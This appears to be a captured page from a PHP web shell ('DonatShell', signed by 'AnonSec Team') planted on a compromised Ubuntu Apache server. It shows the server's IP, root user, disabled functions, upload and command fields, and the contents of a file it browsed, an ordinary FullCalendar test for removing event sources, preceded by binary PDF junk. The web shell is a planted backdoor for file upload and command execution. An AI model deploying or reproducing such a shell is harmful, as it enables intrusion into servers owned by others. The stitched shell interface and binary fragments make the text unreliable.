%PDF-1.5 %���� ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY Donat Was Here
DonatShell
Server IP : 49.231.201.246  /  Your IP : 216.73.216.146
Web Server : Apache/2.4.18 (Ubuntu)
System : Linux 246 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64
User : root ( 0)
PHP Version : 7.0.33-0ubuntu0.16.04.16
Disable Function : exec,passthru,shell_exec,system,proc_open,popen,pcntl_exec
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/ppaobm/vendor/bower-asset/fullcalendar/tests/automated/legacy/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME SHELL ]     

Current File : /var/www/html/ppaobm/vendor/bower-asset/fullcalendar/tests/automated/legacy/removeEventSources.js
describe('removeEventSources', function() {

  pushOptions({
    defaultDate: '2014-08-01',
    defaultView: 'timeGridDay',
    eventSources: [
      buildEventSource(1),
      buildEventSource(2),
      buildEventSource(3)
    ]
  })

  describe('when called with no arguments', function() { //
    it('removes all sources', function() {

      initCalendar()
      expect($('.fc-event').length).toBe(3)

      currentCalendar.removeAllEventSources()

      expect($('.fc-event').length).toBe(0)
    })
  })

  describe('when called with specific IDs', function() {
    it('removes only events with matching sources', function() {

      initCalendar()
      expect($('.fc-event').length).toBe(3)

      currentCalendar.getEventSourceById(1).remove()
      currentCalendar.getEventSourceById(3).remove()

      expect($('.fc-event').length).toBe(1)
      expect($('.event2').length).toBe(1)
    })
  })

  function buildEventSource(id) {
    return {
      id: id,
      events: function(arg, callback) {
        callback([ {
          title: 'event' + id,
          className: 'event' + id,
          start: '2014-08-01T02:00:00'
        } ])
      }
    }
  }
})

Anon7 - 2022
AnonSec Team